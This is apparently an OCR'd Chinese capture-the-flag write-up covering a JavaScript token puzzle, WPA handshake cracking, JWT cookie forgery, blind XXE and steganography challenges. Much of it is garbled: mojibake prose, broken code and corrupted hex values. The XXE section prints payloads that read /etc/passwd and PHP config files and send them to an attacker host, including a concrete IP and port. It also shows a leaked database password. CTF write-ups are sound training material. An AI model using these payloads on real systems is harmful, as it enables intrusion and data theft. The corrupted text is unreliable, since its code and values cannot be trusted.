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flag in your hand
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Flag in your Hand

Type in some token to get the flag.
Tips: Flag is in your hand.
Token: fake-token

Get flag!

Wrong!!!
aybCMLtEjkm6/00wMcmZrw

R IcheckTokenE £ % B iR [H] ff}s==="FAKE-TOKEN" { F} iX 1% 5 2118 Blwrong, T Hic/5 H#EE X T :

<script type="text/javascript">
ic
fg

getFlag() {

token = document.getElementById(
1c = checkToken(token)
fg = bm(token)
showFlag()
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TECKER L, icHEXHEENRT, U EMick&Z Ntrue, RFEMH AW KM4RITT . 7T LLE A pythonfRAG MR H K :
a = [118, 104, 102, 120, 117, 108, 119, 124, 48, 123, 101, 121]
res = ""
for i in a:

res += chr(i - 3)
print(res)

gE ]

res = security-xbv

T 215 Flflag:

Flag in your Hand

Type in some token to get the flag.
Tips: Flag is in your hand.
Token: security-xbv

Get flag!

You got the flag below!!
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REMALLPALTE —/SSIDACyberPeace”i# i, HERMNKE#RAMK T MKEER, HHACLBMEKETFRE
R AR A R, FTRRERANBHFRBHHELR, b SR EEE R FIMalformat Frame st B i 5 BATT K To LB i 25
5 Mattack & R B RS, FFARTTth B B8 B, 3R 2 A0 2% W T 40808

Bk

TRIEBEHNESHL, —A & attack.pcapng , —/N& hanshake.cap , B H KRB R ZFILLE attack.pcapng BEH—
A macHidt , SR/ F hanshake.cap BIEZFEML K IERME. HEARMNEEZR —THEN, EHANALS tshark , HEMAEEM
B wireshark .68, FIEERELR LI 7 IR AE. o

0TI E macHihl ? 7E wireshark MUBRAEINTF: it —> ¥k, FTIF/SE7E Endpointzk% B/ | TEEE 802.11, FifeHPin
THEHE:

M Wireshark - Endpoints - attack - a Pt
Ethernet IEEE B0Z2.11 - 2391 IFv4 - 93 IFve - 112 TCP - 28 1k

AddressA PMets Bytes TxPackets TxBytes RxPackets RxBytes
00:15:17:fe:56:df 5 1845 15 1845 0 0
00:1e:64:c7:9d:31 5 53k 572 53k 0 0]
00:db:df:84:1a:a7 14 7712 14 7712 0 0
00:e0:0f:8e:81:d8 4,837 1042k 4,837 1042k 0 0
00:ff:ff.ff:ffff 3 138 0 0 3 138
01:00:5e:00:00:01 3 302 0 0 3 302
01:00:5e:00:00:02 19 1884 0 0 19 1884
01:00:5e:00:00:05 2 236 0 0 2 236
01:00:5e:00:00:16 81 7956 0 0 81 7956
01:00:5e:00:00:fb 1,364 298k 0] 0] 1,364 298 k
01:00:5e:00:00:fc 962 99k 0] 0] 962 99 k
01:00:5e:40:98:a3 1 110 0 0 1 110
01:00:5e:6eeeee 10 1180 0 0 10 1180
01:00:5e:7f:ff:fa 98 38k 0] 0] 98 38k
01:80:c2:00:00:00 49 4312 0 0 49 4312
01:ff:ff 3 102 0 0 3 102

02:fF:F:Ff:Ff:ff 1 46 0 0 \ 46
O\ L L L L, L I~ 107 n n 14 07

[ | BBtr2Fr L] Bt iR AR Endpoint 2281 -
=1 P & Claose Help

W5 R 2 —> fEACSY BLEER T A [ maciit JREUHIR, HRIREFEFEE THIE, T APython/MAIARIT

KRB ESAELRIE—T:



File Edit View Search Terminal Help
Aircrack-ng 1.2
[00:00:01] 2104/2391 keys tested (1723.33
Time left: 8 seconds 88.00%
KEY FOUND! [ 88:25:93:cl:c8:eb ]

: 38 76 32 6D

C4 69 F1 F9

Transient Key : 83 14 E6 EB
21 87 4D 95

67 6E D8

Bl 16

EAPOL HMAC : 7D 12 59 A4

BT HERATBAEMIT hanshake. cap RIIBEE, XABRATEAI L0 hteps RO REM, BEFESARY. H 1eee
802.11 MR ANFTRAME, FENZEHKR wpa/wpa2 I, FrUARATE BEWEAEAFE B R wpa-psk K, wireshark $&ft
TEATA: o WIBERBELS B HAEE wpa-psk , 1W:

Directions:

Type or paste in your WPA passphrase and SSID below. Wait a while. The PSK will be calcula
Javascriptisn't known for its blistering crypto speed. None of this information will be sent o
a trace with Wireshark if you don't believe us.

Passphrase 88:25:93:c1:c8:eb

SSID Honey
PSK 3876326d1ab784f0d7fb6273128a8f32c469f1f920646dTae0f0fb3a04437165

This page uses pbkdf2.js by Parvez Anandam and shal.js by Paul Johnston.

Z3pskjs, fEwireshark BN F#/E:

Y48 —> B %I —> Protocols —> IEEE 802.11


https://www.wireshark.org/tools/wpa-psk.html

[ S S s o

IcQ [ ] issume packets have FCS
IEEE 802.11 [v] validate the FCS checksun if possible
IEEE 802.15.4 Iznore the Protection bit
IEEE 802.1AH O To

iFCP () Yes - without IV

ILP @ Yes - with IV

:mip Enable decrypticn

INAP Decryption keys Edit--
Infiniband S... /
Interlink

IPDC

‘ WEP and WPA Decryption Keys

Key type Key
wpa-psk 3876326d1ab784f0d7fb6273128a8f32c469f1f920646d7ae0f0fb3a04437165

FARELT, RINTUBCTFRER, HBEHREREIESTRHT, FATTFREABE attack.pcapng ZA%, MHIRIE
WL, BFEElagi BEATERX, RTE T witeup)i 4 K IiflagfifE XM, HEANESDL, #MEITRX—FT, KREASE Wil
R o

SR )5 # Fairdecap-ngi2BUH 5 — /NG, 8 EmEENH S AEE UL kkey.rarfl F#EHbbt, THJ5MES Elkey.pcap, KI
B FRFE, B Aflag

GET /yTRFwRVi7z/key.rar HTTP/1.1
Host: wiattack.net

LU LJ‘.UII . kEEp—d}_J‘_VE
User-Agent: Mozilla/5.@ (Linux; Android 7.1.1; 0D163 Build/mnp
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.8©.3239.111 |
Safari/537.36

Upgrade-Insecure-Requests: 1

Accept: text/html,application/xhtml+xml,application/xml;q=0.¢
webp, image/apng,*/*;q=0.8

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=8.9

Cookie:

UM distinctid=162ec69b95753-87d3238d2b879a-4610351e-38400-16:

web1

I ER—AERMEM, ZREEMEN, KRERE "\ CEpHE S, SR HMITELR.



Login
USERNAME

go to register

W 2ZF|cookieey Ik, fitbase6478 Fljwitk . icookie,
eyJ0eXAi0iJKV1QiLCIhbGci0iJzaGEYNTYiLCIraWQiOiIyMjIifQ.eyJuYW11IjoidGVzdCI9.fwrm3jDKVF8TWvKTyaZym5Hy11P

BT ¥klalg@hash#i%, Fr#ERIRIZZEHMAC, TNiX B Hsha256, TR&YIETXE...

ikt cookie—E LR, &5 EHadminT &% FEH|adminficookie, & #% [ 2 1 F F cookie Bl AT .

web3

WBFERRRB TR w0, FRE-TEATRUKNEE, FAFEHRideal RiMtiwE S, workspace B —ANEKixxe I % .
HENT —A



neyussy

Raw | Params | Headers | Hex

nespvies

Raw | Headers | Hex

POST /cormmon.php HTTP/1.1

Host: 114.115.149.109.33899

User-Agent: Mozilla/5 0 (Windows NT 10.0; Win64; x64; rv53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Accept-Language: zh-CNN,
Accept-Encoding gzip,
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
¥-Requested-'With XMLHtpRequest

Referer: http://114.115.149.109 33899/ contact hitrnl

Content-Length: 125

Cookie: td_cookie=670637750

DNT:1

Connectien: close

zhg=08en-Usq=05enq=03

hames=128&ermail=123%40123 com&phone=TTT11T1&subject=& comment=%3C %3kl %20v
ersion%30%221.0%22%20encoding%3D %22 utf-8%22%3F %3E

blindxxe, comment=EIHE:

3
r

HTTP/11200 OK

Date: Sun, 29 Apr 2018 07:42:38 GMT
Server: Apache/24.7 (Ubuntu)
X-Powered-By: PHP/5.5.9

Vary: Accept-Encoding
Content-Length 721

Connection: close

Content-Type: text/html

<br />

<b>Warning</b>: simplexml_load_string(: Entity: line I: parser error : Start tag expected, &I’ not found in <b> /var/www/52dandan.cc/public_htrnlffunction php</b> on
line <b>54</b><br />

<br />

<b>Warning</b> simplexmi_load_string(: &It; %l version=&quat;1 0&quot; encoding=&quotutf-8quot; ?&gt; in

<bz> fvar/www/S2dandan.cc/public_htrl/function php</b> on line <b>54</b><br />

<br />

<b>Warning</b>: simplexml_load_string() in <b> fvar/www,/52dandan.cc/public_html/function php</b> on line <b>54</b> <br />

<br />

<b>Fatal error</b>: Call to a member function _toString() on a non-object in <b> /var/www/52dandan.cc/public_htral/common php</b> on line <b>33</b><br />

%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22utf-8%22%3F%3E%0OA%3C!DOCTYPE%20root%20%5B%0A%3C! ENTITY%

TEMRS 2% 3B .dd, WA

<!IENTITY % file SYSTEM "php://filter/read=/convert.base64-encode/resource=/etc/passwd">
<IENTITY % all "<!ENTITY &#37; send SYSTEM 'http://yourvpsip/?file=%file;'>">

%all;
%send;

BB T X, AR JERAEE Bconfig.php

<?php

//error_reporting(E_ALL~E_NOTICE~E_WARNING);
error_reporting(E_ERROR | E_WARNING | E_PARSE);
define(BASEDIR, "/var/www/52dandan.club/");

define(FLAG_SIG, 1);

define(SECRETFILE, '/var/www/52dandan.com/public_html/youwillneverknowthisfile_e2cd3614b63ccdcbfe7c8f073

//global $error_msg;
$DBHOST "127.0.0.1";
$DBUSER "root";

$DBPASS = "albertchangl23";
//$DBPASS = "";

$DBNAME = "CISCNmessage";

$mysqli = @new mysqli($DBHOST,

if(mysqli_connect_errno()){

$DBUSER, $DBPASS, $DBNAME,3306);

echo "no sql connection!!!".mysqli_connect_error();

$mysqli=null;
die();

A RLZA R R T BN SRR, RIRSECRETFILEANFFE .
R EA I BB RA4 S — T WS B proc/net/arp , XEHFXMFHBKEMAZibES, S% &5 Kpayload.



IP address HW type Flags HW address Mask Device

192.168.223.239 0ox1 ox0 00:00:00:00:00:00 & ethe

192.168.223.222 0ox1 ox2 02:42:c0:a8:df:de & etho
192.168.223.193 ox1 0x0 00:00:00:00:00:00 & ethe
192.168.223.18 ox1 0x0 00:00:00:00:00:00 & ethe
192.168.223.253 ox1 0x0 00:00:00:00:00:00 & ethe
192.168.223.236 ©ox1 0x0 00:00:00:00:00:00 & ethe

WTEIAE, BANERR—AMMACHINEAHOKI222, H—TF:

1.dtd

<IENTITY % file SYSTEM "php://filter/read=zlib.deflate/convert.base64-encode/resource=http://192.168.22
<IENTITY % all "<!ENTITY &#37; send SYSTEM 'http://123.206.45.69:8999/?file=%file; '>">

%all;

%send;

A0 T AR IR (R BEphp MR &4 — 2, BEEHEE Flhtmi R ):

<?php
$str = file get contents('./flag.txt');
$str = str_replace(" ","+",$str);

function decode($str){
$str = base64_decode($str);
$str = gzinflate($str);
return $str;

}
print_r(decode($str));
?>

Befflag, BATZRHMIM. FEtestphpIRE T

Online Shop System Testing!!!Our online sales system is coming soon.Now open the test interface to inte

EHTHER—MEAN (ZRMROLEHRT)

BT FIwp:
http://pupiles.com/giangwangbei2.html

picture

B, —R—1MEA, BEEREAStegsolve2iRizBLSBREL%., &RHEE.
i 5 fE Abinwalk 3z, BREIWALH, — N8B ANITES, —A%NITE4 Zlib,
97EASC W N —HFbaseb4:

S1ADBBQAAQAAAGUw1OwtPcPgWgAAAE4AAAAEAAAAY29kZS98KMIGU7Impd5kBX83kKIY1Z34RSBrrBV+11A1/0HOaPK88qlcly9zeAt

Bz, ROLRTHEIEL, J5 A Apythoniik b .

R N6 R, KA LER, BITMHKIPALRE 4b 56,
Zip3C LR 2450 4b, Bz, 16%tHsave, B—E4HE.

E45 A ERE:


http://pupiles.com/qiangwangbei2.html

[Python 2.7]
>>> HEE

Traceback (most recent call last):
File "<pyshell#@>", line 1, in <module>
[ [ |
ZeroDivisionError: HHEEEEEEEEEEEEEEEEENNEEEEENEEEEE <- password ?
>>>

BHR, passwordfgFIKIBI%EAY, #2E ZeroDivisionError , 154EiR B AR
integer division or modulo by zero

R VR4 RN, @A mT:

begin 644 key.txt
GOTE30TY[1$%!.31103 V-C$R.40W,S)"13! | -#=#131!-3E$.3)]

end

KR MECHEN, Huuencode/xxencode, uuencodefi# B 5 flag.
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